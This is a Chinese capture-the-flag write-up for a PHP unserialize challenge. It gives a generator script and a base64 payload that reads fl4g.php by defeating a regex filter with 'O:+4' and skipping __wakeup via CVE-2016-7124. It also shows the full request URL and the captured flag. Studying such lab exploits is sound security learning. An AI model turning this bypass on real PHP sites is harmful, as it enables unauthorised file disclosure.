根据题目这是一道反序列化题
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
根据代码的提示,flag应该在fl4g.php文件中,我们需要读取该文件
再来分析代码:先判断是否传入了var参数,如果参数存在即对参数进行base64解密,再通过正则拦截,最后才对输入进行反序列化,同时wakeup也对$file进行了验证
我们需要绕过preg_match()及__wakeup()
参考别人的wp:https://blog.csdn.net/qq_41617034/article/details/104573548
在本地或者在线工具运行下面代码即可生成序列化后BASE64加密的var参数
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
//"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
//"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
$c = base64_encode($b);
echo $c;
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
构造序列化:O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
修改序列化绕过验证:“O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}”
**其中:*用+4替换成4是为了绕过preg_match的正则表达式,同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
base64加密后:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
注意:不同修饰符序列化后的值不一样
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
这就解析通了payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10
但是并没有看到\x00,是因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;},但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)
http://111.200.241.244:63274/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}